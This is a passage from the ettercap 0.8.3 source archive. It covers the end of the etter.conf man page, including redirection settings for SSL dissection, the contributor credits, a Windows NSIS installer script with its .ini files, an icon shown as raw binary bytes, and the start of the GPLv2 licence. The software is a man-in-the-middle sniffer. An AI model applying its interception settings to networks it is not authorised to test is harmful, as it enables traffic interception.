"xxx" does not exists (etter.conf line yy)" error, you have to comment out the yy line in etter.conf. .TP 20 .B [curses] .TP .B color You can customize the colors of the curses GUI. .br Simply set a field to one of the following values and look at the GUI aspect :) .br Here is a list of values: 0 Black, 1 Red, 2 Green, 3 Yellow, 4 Blue, 5 Magenta, 6 Cyan, 7 White .TP 20 .B [strings] .TP .B utf8_encoding specifies the encoding to be used while displaying the packets in UTF-8 format. Use the `iconv \-\-list` command for a list of supported encodings. .TP .B remote_browser This command is executed by the remote_browser plugin each time it catches a good URL request into an HTTP connection. The command should be able to get 2 parameters: .RS .TP .B %host the Host: tag in the HTTP header. Used to create the full request into the browser. .TP .B %url The page requested inside the GET request. .RE .TP .B redir_command_on You must provide a valid command (or script) to enable tcp redirection at the kernel level in order to be able to use SSL dissection. Your script should be able to get 5 parameters: .RS .TP .B %iface The network interface on which the rule must be set .TP .B %source The source IP or network matching the packets to be redirected (default is 0.0.0.0/0, ::/0 resp. or any) .TP .B %destination The destination IP or network matching the packets to be redirected (default is 0.0.0.0/0, ::/0 resp. or any) .TP .B %port The source port of the packets to be redirected (443 for HTTPS, 993 for imaps, etc). .TP .B %rport The internally bound port to which ettercap listens for connections. .RE NOTE: this script is executed with an execve(), so you cannot use pipes or output redirection as if you were in a shell. We suggest you to make a script if you need those commands. NOTE: for this to work, you must set ec_uid to a UID what is privileged to execute the redir_command or provide a setuid program. .TP .B redir_command_off This script is used to remove the redirect rules applied by 'redir_command_on'. You should note that this script is called atexit() and thus it has not high privileges. You should provide a setuid program or set ec_uid to 0 in order to be sure that the script is executed successfully. .SH ORIGINAL AUTHORS Alberto Ornaghi (ALoR) .br Marco Valleri (NaGA) .SH PROJECT STEWARDS Emilio Escobar (exfil) .br Eric Milam (Brav0Hax) .SH OFFICIAL DEVELOPERS Mike Ryan (justfalter) .br Gianfranco Costamagna (LocutusOfBorg) .br Antonio Collarino (sniper) .br Ryan Linn .br Jacob Baines .SH CONTRIBUTORS Dhiru Kholia (kholia) .br Alexander Koeppe (koeppea) .br Martin Bos (PureHate) .br Enrique Sanchez .br Gisle Vanem .br Johannes Bauer .br Daten (Bryan Schneiders) .SH "SEE ALSO" .I "ettercap(8)" .I "ettercap_curses(8)" .I "ettercap_plugins(8)" .I "etterlog(8)" .I "etterfilter(8)" .I "ettercap\-pkexec(8)" .LP ettercap-0.8.3/contrib/0000755000175000017500000000000013505247364014634 5ustar koeppeakoeppeaettercap-0.8.3/contrib/nsis/0000755000175000017500000000000013505247364015610 5ustar koeppeakoeppeaettercap-0.8.3/contrib/nsis/eNG-radiobuttons.ini0000644000175000017500000000031613505247364021475 0ustar koeppeakoeppea[Settings] NumFields=3 [Field 1] Type=Label Left=0 Right=-1 Top=0 Bottom=24 [Field 2] Type=RadioButton Left=30 Right=-1 Top=50 Bottom=58 State=1 [Field 3] Type=RadioButton Left=30 Right=-1 Top=70 Bottom=78 ettercap-0.8.3/contrib/nsis/eNG.ico0000644000175000017500000003311613505247364016761 0ustar koeppeakoeppea(vh   00 h>!  %( wwxxxwwwp( @i`IngS|oVn~^|&V}mq\lompцݔ(S\Y`gpvpjd{uӻ{n{innww~~ɳƻüôŷȸLJ̐ДɣƾƧƭȡӡا˱ͼڲ̡ëŭίƨʬ˨إܯϴαܱ޻״ѳӾԽ׼ܾڿЭֽڵaaMaaKaKoKaaa-oaa'G$:&D<$G( @wwwxwwwwxvwwgwvxgwgg|pw|x@wgghXw|xxxwgXwv|xwwwx|vwwxpwwww`xwwwwwvpwwwwwwwpwwwwww( @985oRwYoWFC=sX'=DwgvKfSus[TZy^b~ddaylgxreZw q=oLuC|FuWtP|cwx~`g^hU|[qjpphnfuzm|z>92.LMSV\_AZffyxizwjjwydixx}_JPƯ}iuhvv)43<FP_fkvoyz{lvp}u^jr}x|zuzt~{ʼnô˼Ӽ輖ȵǻˉʅŚ̘ЗƊʘ͗ГԞ˯̨ȷ̵ŨԦרȷ̺ջ۹×ȕťīǩʩ֧תôƱ˴ƺ˻˻βڴշͬզөո۷렠g      `eeea`` r87z98888z888898888888888z78888888z89889888  888889888988988898r8888888888888888883 8889888 83Ǡr88988  83  8888`83» z8l83 ` e83Ǡ ` `8 ` 83`55558j8laal` l(0` 6. <1 >8,++544A6 SIDA6!V"(Y&/o:BygvHiiVeuWsrRxldxwh{ww^|y }^1g(g8r>{dDyEy[xWmoxj~hnwvziK}KhXhY~XiGyLgXv[uifg~xgg~ckgyhbsiuy~xw 4ՙ&3ϩ;:LNPTX[_]Ufg|wxiuwkk`yrvgjxv{|·]D_ͳkعi«xʸycljx{yz-9KT\dpsJXXblvnywvvuwmxƉ|ė~µ{Ƕǻӽ¬ľƺɈˉɗ̘љˈǝʔјћǥͨҥȸ˷пŧ̡ԥ֤ɷļӵڵ—ÚņʛڜŦʨרةȵγصָ֢ͭӫϱɼոܸпʥڜɦťQɥSSSSS"ɥUSUUUUUU"襥OUUUUSUUU"UUUUUUUUUS"UUUUUUSUUUU"蜥UUUSUUUUSUUU"ʥSUUUUUUUUUUUU"ʜSUUUUSUUUUUSU"UUUUUUSUUUUUU"O"""""OʜUUUUUUSUUUUS"`SUUUSUUUUUUUUUUUťUUUUUUUSUUUU"`UUUUUUUUUUSUUUUUʥSUUUUUUUSUUU"hUUUUUUSUUUUUUUUS`蜥UUUUUUUUSUU"hhhh`hh`hhUU`SUUUUUUUUU"UUhʥUUUUUUUS"UUSUUUUUU"UU`OUUU"SUSU"UU`ʃUUQUU`蜜ťQUS襥QUU`ɜQUOSQ"%Q%Q%Q%Q%Q%Q%刈(  @νννενkssεssssνsssssZsZsZsZsZsZεsssssssssνεsssνννsνννsJJJ{{{RRRJJJ)))ZZZ999!!!( @ νƵƵƵƵƵJJJZZZZZZcccZZZZZZRRRZZZRRRZZZRRRZZZRRRZZZZZZZZZZZZZZZcccννƵννƵƵƵsccckkk{{{{{{νννƵkkkk{k)))ννksssss{k)))ννkssssss{k111Ƶνssssssss{k111νksssssss{k999999Ƶssssssss{k999!!!ZJ9{csZsZ{csZ{csZ{csZsZsZ{kRνƵksssssss{k999kZJsssssssssss{kννsssssss{kBBBkZJsssssssssss{kνƵν{ssssss{kBBB!!!B9)kZJkZJcRBcRBkRBkZJcRBkZJkZJkZskνεννsssss{kJJJRRR111BBBJJJcccsssZZZJJJ999111B9)s{kƵννƵƵ{sss{kJJJ91)skνννννƵs{kRRR91!s{kƵνννƵνν{RRR91)skνƵνννν{RRRB9)s{kνƵƵ{RRRRRR111111BBBJRRZRRZZZZZZJJJ99991)skJJJ999ZRJ{s{s{ss{s{s{ss{s{{BBB999{sƽƽƽƽƽƽƽƽƽƽƽJJJ111!!!BBB999BBB{{{{{{999RRRBBBBBBJJJ111{{{RRRJJJBBBRRRJJJ111ccccccBBB111999BBB999!!!!!!ettercap-0.8.3/contrib/nsis/EttercapNG.nsi0000644000175000017500000004035613505247364020327 0ustar koeppeakoeppea; ; ettercap -- NSIS script for the windows installer ; ; Copyright (C) ALoR ; ; This program is free software; you can redistribute it and/or modify ; it under the terms of the GNU General Public License as published by ; the Free Software Foundation; either version 2 of the License, or ; (at your option) any later version. ; ; This program is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ; GNU General Public License for more details. ; ; You should have received a copy of the GNU General Public License ; along with this program; if not, write to the Free Software ; Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. ; ; ; NOTE: this .NSI script is designed for NSIS v2.0+ ;-------------------------------- ;Version Information !define VER_MAJOR 0 !define VER_MINOR 7 !define VER_REVISION 3 !define VER_DISPLAY "0.7.3" ;-------------------------------- ;Include Modern UI !include "MUI.nsh" ;-------------------------------- ;General ;Name and file Name "Ettercap NG" Caption "Ettercap ${VER_DISPLAY} Setup" OutFile "ettercap-NG-${VER_DISPLAY}-win32.exe" ;Default installation folder InstallDir "$PROGRAMFILES\EttercapNG" ;Get installation folder from registry if available InstallDirRegKey HKCU "Software\ettercap_ng" "" ;-------------------------------- ;Compiler settings SetCompressor lzma SetDatablockOptimize on CRCCheck on ShowInstDetails show ; (can be show to have them shown, or nevershow to disable) ShowUnInstDetails show ; (can be show to have them shown, or nevershow to disable) SetDateSave on ; (can be on to have files restored to their orginal date) ;-------------------------------- ;Variables Var MUI_TEMP Var STARTMENU_FOLDER Var CHECKFAILED Var DOCUMENTATION ; window handlers Var NEXTBUTTON Var BACKBUTTON Var CANCELBUTTON ;-------------------------------- ;Interface Configuration !define MUI_ICON "eNG.ico" !define MUI_HEADERIMAGE !define MUI_HEADERIMAGE_BITMAP "${NSISDIR}\Contrib\Graphics\Header\win.bmp" !define MUI_CUSTOMFUNCTION_ABORT UserAbort !define MUI_ABORTWARNING_TEXT "Do you want to exit the Ettercap NG setup ?" !define MUI_COMPONENTSPAGE_SMALLDESC ;-------------------------------- ;Reserve Files ;These files should be inserted before other files in the data block ReserveFile "eNG-radiobuttons.ini" ReserveFile "eNG-message.ini" !insertmacro MUI_RESERVEFILE_INSTALLOPTIONS ;-------------------------------- ;Pages ; welcome !define MUI_WELCOMEPAGE_TITLE "Welcome to the Ettercap NG ${VER_DISPLAY} Setup Wizard" !define MUI_WELCOMEPAGE_TEXT "This wizard will guide you through the installation of Ettercap NG ${VER_DISPLAY}, the next generation of the popular ettercap sniffer.\r\n\r\nEttercap NG includes a new Modern GTK User Interface, plugin support, support for multiple MITM attack at the same time and a more structured core.\r\n\r\n" !insertmacro MUI_PAGE_WELCOME ; check for the correct windows version Page custom CheckWindowsVersion ; license !insertmacro MUI_PAGE_LICENSE "LICENSE.txt" ; check for the presence of winpcap Page custom CheckWinpcap ; already installed, what to do ? Page custom PageReinstall PageLeaveReinstall ; components !insertmacro MUI_PAGE_COMPONENTS ; directory !insertmacro MUI_PAGE_DIRECTORY ; start menu !define MUI_STARTMENUPAGE_REGISTRY_ROOT "HKCU" !define MUI_STARTMENUPAGE_REGISTRY_KEY "Software\ettercap_ng" !define MUI_STARTMENUPAGE_REGISTRY_VALUENAME "Start Menu Folder" !insertmacro MUI_PAGE_STARTMENU Application $STARTMENU_FOLDER ; install !insertmacro MUI_PAGE_INSTFILES ; finish !define MUI_FINISHPAGE_NOAUTOCLOSE !define MUI_FINISHPAGE_LINK "Visit the Ettercap website for the latest news, FAQs and support" !define MUI_FINISHPAGE_LINK_LOCATION "http://ettercap.sf.net/" !define MUI_FINISHPAGE_NOREBOOTSUPPORT !insertmacro MUI_PAGE_FINISH ; uninstall !insertmacro MUI_UNPAGE_CONFIRM !insertmacro MUI_UNPAGE_INSTFILES ;-------------------------------- ;Languages !insertmacro MUI_LANGUAGE "English" ;-------------------------------- ;Installer Sections Section "Ettercap NG core" SecCore ; this is required, make it unchangeable by the user SectionIn RO SetOverwrite on SetOutPath "$INSTDIR" File ..\..\ettercap.exe File ..\..\*.dll SetOutPath "$INSTDIR\share" File ..\..\share\* SetOutPath "$INSTDIR\etc\pango" File ..\..\etc\pango\* SetOutPath "$INSTDIR\etc\gtk-2.0" File ..\..\etc\gtk-2.0\* SetOutPath "$INSTDIR\etc\fonts" File ..\..\etc\fonts\* SetOutPath "$INSTDIR\lib\pango\1.4.0\modules" File ..\..\lib\pango\1.4.0\modules\* SetOutPath "$INSTDIR\\lib\gtk-2.0\2.4.0\engines" File ..\..\lib\gtk-2.0\2.4.0\engines\* SetOutPath "$INSTDIR\\lib\gtk-2.0\2.4.0\loaders" File ..\..\lib\gtk-2.0\2.4.0\loaders\* SectionEnd Section "Etterlog" SecEtterlog SetOutPath "$INSTDIR" SetOverwrite on File ..\..\etterlog.exe SectionEnd Section "Etterfilter" SecEtterfilter SetOutPath "$INSTDIR" SetOverwrite on File ..\..\etterfilter.exe SectionEnd Section "Plugins" SecPlugins SetOutPath "$INSTDIR\lib" SetOverwrite on File ..\..\lib\*.dll SectionEnd Section "Documentation" SecDocs SetOutPath "$INSTDIR\doc" File ..\..\doc\*.pdf IntOp $DOCUMENTATION 0 + 1 ; remember this for further use SectionEnd ; Hidden section for the uninstaller ; it needs to be created whichever options the user choose Section "-Make the uninstaller" SetOutPath "$INSTDIR" ;Store installation folder WriteRegStr HKLM "Software\ettercap_ng" "" $INSTDIR WriteRegDword HKLM "Software\ettercap_ng" "VersionMajor" "${VER_MAJOR}" WriteRegDword HKLM "Software\ettercap_ng" "VersionMinor" "${VER_MINOR}" WriteRegDword HKLM "Software\ettercap_ng" "VersionRevision" "${VER_REVISION}" ;Create uninstaller WriteUninstaller "$INSTDIR\Uninstall.exe" ; make the unisntall appear in the control panel "add/remove programs" WriteRegExpandStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\ettercap_ng" "UninstallString" '"$INSTDIR\uninstall.exe"' WriteRegExpandStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\ettercap_ng" "InstallLocation" "$INSTDIR" WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\ettercap_ng" "DisplayName" "Ettercap NG ${VER_DISPLAY}" WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\ettercap_ng" "DisplayIcon" "$INSTDIR\ettercap.exe,0" WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\ettercap_ng" "DisplayVersion" "${VER_DISPLAY}" WriteRegDWORD HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\ettercap_ng" "VersionMajor" "${VER_MAJOR}" WriteRegDWORD HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\ettercap_ng" "VersionMinor" "${VER_MINOR}" WriteRegDWORD HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\ettercap_ng" "VersionRevision" "${VER_REVISION}" WriteRegDWORD HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\ettercap_ng" "NoModify" "1" WriteRegDWORD HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\ettercap_ng" "NoRepair" "1" WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\ettercap_ng" "URLInfoAbout" "http://ettercap.sourceforge.net" WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\ettercap_ng" "Publisher" "Ettercap developers" WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\ettercap_ng" "URLUpdateInfo" "http://ettercap.sf.net/download" ;start menu !insertmacro MUI_STARTMENU_WRITE_BEGIN Application ;Create shortcuts CreateDirectory "$SMPROGRAMS\$STARTMENU_FOLDER" CreateShortCut "$SMPROGRAMS\$STARTMENU_FOLDER\ettercap.lnk" "$INSTDIR\ettercap.exe" "-G" ; the command propmt to use etterfilter and etterlog ReadRegStr $R1 HKEY_LOCAL_MACHINE "SOFTWARE\Microsoft\Windows NT\CurrentVersion" "CurrentVersion" StrCpy $9 $R1 1 StrCmp $9 '4' 0 win_2000_XP ; Windows NT 4.0 CreateShortCut "$SMPROGRAMS\$STARTMENU_FOLDER\ettercap prompt.lnk" "$SYSDIR\command.com" "" Goto end win_2000_XP: CreateShortCut "$SMPROGRAMS\$STARTMENU_FOLDER\ettercap prompt.lnk" "$SYSDIR\cmd.exe" "" end: ; links to the documenation IntCmp $DOCUMENTATION 1 0 no_doc CreateDirectory "$SMPROGRAMS\$STARTMENU_FOLDER\docs" CreateShortCut "$SMPROGRAMS\$STARTMENU_FOLDER\docs\man-ettercap.lnk" "$INSTDIR\doc\ettercap.pdf" CreateShortCut "$SMPROGRAMS\$STARTMENU_FOLDER\docs\man-ettercap_curses.lnk" "$INSTDIR\doc\ettercap_curses.pdf" CreateShortCut "$SMPROGRAMS\$STARTMENU_FOLDER\docs\man-ettercap_plugins.lnk" "$INSTDIR\doc\ettercap_plugins.pdf" CreateShortCut "$SMPROGRAMS\$STARTMENU_FOLDER\docs\man-etterfilter.lnk" "$INSTDIR\doc\etterfilter.pdf" CreateShortCut "$SMPROGRAMS\$STARTMENU_FOLDER\docs\man-etterlog.lnk" "$INSTDIR\doc\etterlog.pdf" CreateShortCut "$SMPROGRAMS\$STARTMENU_FOLDER\docs\man-etter.conf.lnk" "$INSTDIR\doc\etter.conf.pdf" no_doc: CreateShortCut "$SMPROGRAMS\$STARTMENU_FOLDER\Uninstall.lnk" "$INSTDIR\Uninstall.exe" !insertmacro MUI_STARTMENU_WRITE_END SectionEnd ;-------------------------------- ;Descriptions ;Assign language strings to sections !insertmacro MUI_FUNCTION_DESCRIPTION_BEGIN !insertmacro MUI_DESCRIPTION_TEXT ${SecCore} "The ettercap NG core components." !insertmacro MUI_DESCRIPTION_TEXT ${SecEtterlog} "Etterlog: the utility to parse the ettercap NG logs" !insertmacro MUI_DESCRIPTION_TEXT ${SecEtterfilter} "Etterfilter: the utility to compile content filter scripts to be used within ettercap NG" !insertmacro MUI_DESCRIPTION_TEXT ${SecPlugins} "Various plugins" !insertmacro MUI_DESCRIPTION_TEXT ${SecDocs} "The most important part: the documentation !" !insertmacro MUI_FUNCTION_DESCRIPTION_END ;-------------------------------- ;Functions Function .onInit ; extract the ini for the custom UI !insertmacro MUI_INSTALLOPTIONS_EXTRACT "eNG-radiobuttons.ini" !insertmacro MUI_INSTALLOPTIONS_EXTRACT "eNG-message.ini" FunctionEnd Function UserAbort StrCmp $CHECKFAILED "1" exit 0 !insertmacro MUI_ABORTWARNING exit: FunctionEnd Function CheckWindowsVersion ReadRegStr $R1 HKEY_LOCAL_MACHINE "SOFTWARE\Microsoft\Windows NT\CurrentVersion" "CurrentVersion" StrCmp $R1 "" 0 GoodVersion ; we are not 2000/XP/2003 ; disable the 'back' and 'next' buttons GetDlgItem $NEXTBUTTON $HWNDPARENT 1 GetDlgItem $BACKBUTTON $HWNDPARENT 3 GetDlgItem $CANCELBUTTON $HWNDPARENT 2 ShowWindow $NEXTBUTTON 0 ShowWindow $BACKBUTTON 0 SendMessage $CANCELBUTTON ${WM_SETTEXT} 0 "STR:Exit" StrCpy $CHECKFAILED "1" !insertmacro MUI_INSTALLOPTIONS_WRITE "eNG-message.ini" "Field 1" "Text" "Ettercap NG was compiled to run only on Windows 2000 / XP or greater\r\n\r\nYou can download the source code and try to recompile it for your platform." !insertmacro MUI_HEADER_TEXT "Incorrect Windows version" "" !insertmacro MUI_INSTALLOPTIONS_DISPLAY "eNG-message.ini" GoodVersion: FunctionEnd Function CheckWinpcap IfFileExists "$SYSDIR/packet.dll" WinpcapOK !insertmacro MUI_INSTALLOPTIONS_WRITE "eNG-message.ini" "Field 1" "Text" "The installer didn't find the file packet.dll in $SYSDIR.\r\n\r\nYou have to install winpcap in order to be able to execute ettercap." !insertmacro MUI_HEADER_TEXT "Missing Winpcap installation" "" !insertmacro MUI_INSTALLOPTIONS_DISPLAY "eNG-message.ini" WinpcapOK: FileClose $1 FunctionEnd Function PageReinstall ReadRegStr $R0 HKLM "Software\ettercap_ng" "" StrCmp $R0 "" 0 +2 Abort ;Detect version ReadRegDWORD $R0 HKLM "Software\ettercap_ng" "VersionMajor" IntCmp $R0 ${VER_MAJOR} minor_check new_version older_version minor_check: ReadRegDWORD $R0 HKLM "Software\ettercap_ng" "VersionMinor" IntCmp $R0 ${VER_MINOR} revision_check new_version older_version revision_check: ReadRegDWORD $R0 HKLM "Software\ettercap_ng" "VersionRevision" IntCmp $R0 ${VER_REVISION} same_version new_version older_version new_version: !insertmacro MUI_INSTALLOPTIONS_WRITE "eNG-radiobuttons.ini" "Field 1" "Text" "An older version of Ettercap NG is installed on your system. It's recommended that you uninstall the current version before installing. Select the operation you want to perform and click Next to continue." !insertmacro MUI_INSTALLOPTIONS_WRITE "eNG-radiobuttons.ini" "Field 2" "Text" "Uninstall before installing" !insertmacro MUI_INSTALLOPTIONS_WRITE "eNG-radiobuttons.ini" "Field 3" "Text" "Upgrade to version ${VER_DISPLAY}" !insertmacro MUI_HEADER_TEXT "Already Installed" "Choose how you want to install Ettercap NG." StrCpy $R0 "1" Goto reinst_start older_version: !insertmacro MUI_INSTALLOPTIONS_WRITE "eNG-radiobuttons.ini" "Field 1" "Text" "A newer version of Ettercap NG is already installed! It is not recommended that you install an older version. If you really want to install this older version, it's better to uninstall the current version first. Select the operation you want to perform and click Next to continue." !insertmacro MUI_INSTALLOPTIONS_WRITE "eNG-radiobuttons.ini" "Field 2" "Text" "Uninstall before installing" !insertmacro MUI_INSTALLOPTIONS_WRITE "eNG-radiobuttons.ini" "Field 3" "Text" "Downgrade to version ${VER_DISPLAY}" !insertmacro MUI_HEADER_TEXT "Already Installed" "Choose how you want to install Ettercap NG." StrCpy $R0 "1" Goto reinst_start same_version: !insertmacro MUI_INSTALLOPTIONS_WRITE "eNG-radiobuttons.ini" "Field 1" "Text" "Ettercap NG ${VER_DISPLAY} is already installed. Select the operation you want to perform and click Next to continue." !insertmacro MUI_INSTALLOPTIONS_WRITE "eNG-radiobuttons.ini" "Field 2" "Text" "Add/Reinstall components" !insertmacro MUI_INSTALLOPTIONS_WRITE "eNG-radiobuttons.ini" "Field 3" "Text" "Uninstall Ettercap NG" !insertmacro MUI_HEADER_TEXT "Already Installed" "Choose the maintenance option to perform." StrCpy $R0 "2" reinst_start: !insertmacro MUI_INSTALLOPTIONS_DISPLAY "eNG-radiobuttons.ini" FunctionEnd Function PageLeaveReinstall ; check the selected option !insertmacro MUI_INSTALLOPTIONS_READ $R1 "eNG-radiobuttons.ini" "Field 2" "State" StrCmp $R0 "1" 0 +2 StrCmp $R1 "1" reinst_uninstall reinst_done StrCmp $R0 "2" 0 +3 StrCmp $R1 "1" reinst_done reinst_uninstall reinst_uninstall: ReadRegStr $R1 HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\ettercap_ng" "UninstallString" ;Run uninstaller HideWindow ClearErrors ExecWait '$R1 _?=$INSTDIR' IfErrors no_remove_uninstaller IfFileExists "$INSTDIR\ettercap.exe" no_remove_uninstaller Delete $R1 RMDir $INSTDIR no_remove_uninstaller: StrCmp $R0 "2" 0 +2 Quit BringToFront reinst_done: FunctionEnd ;-------------------------------- ;Uninstaller Section Section "Uninstall" Delete "$INSTDIR\Uninstall.exe" Delete "$INSTDIR\etter*.exe" Delete "$INSTDIR\*.dll" Delete "$INSTDIR\ettercapNG-${VER_DISPLAY}_cvs_debug.log" RMDir /r "$INSTDIR\doc" RMDir /r "$INSTDIR\lib" RMDir /r "$INSTDIR\etc" RMDir /r "$INSTDIR\share" RMDir "$INSTDIR" !insertmacro MUI_STARTMENU_GETFOLDER Application $MUI_TEMP Delete "$SMPROGRAMS\$MUI_TEMP\ettercap.lnk" Delete "$SMPROGRAMS\$MUI_TEMP\ettercap prompt.lnk" Delete "$SMPROGRAMS\$MUI_TEMP\Uninstall.lnk" Delete "$SMPROGRAMS\$MUI_TEMP\docs\*" RMDir /r "$SMPROGRAMS\$MUI_TEMP\docs" ;Delete empty start menu parent diretories StrCpy $MUI_TEMP "$SMPROGRAMS\$MUI_TEMP" startMenuDeleteLoop: RMDir $MUI_TEMP GetFullPathName $MUI_TEMP "$MUI_TEMP\.." IfErrors startMenuDeleteLoopDone StrCmp $MUI_TEMP $SMPROGRAMS startMenuDeleteLoopDone startMenuDeleteLoop startMenuDeleteLoopDone: DeleteRegKey /ifempty HKLM "Software\ettercap_ng" DeleteRegKey HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\ettercap_ng" SectionEnd ; vim:ts=3:expandtab ettercap-0.8.3/contrib/nsis/eNG-message.ini0000644000175000017500000000011413505247364020400 0ustar koeppeakoeppea[Settings] NumFields=1 [Field 1] Type=Label Left=0 Right=-1 Top=0 Bottom=24 ettercap-0.8.3/contrib/nsis/license.txt0000644000175000017500000004377713505247364020015 0ustar koeppeakoeppea GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain 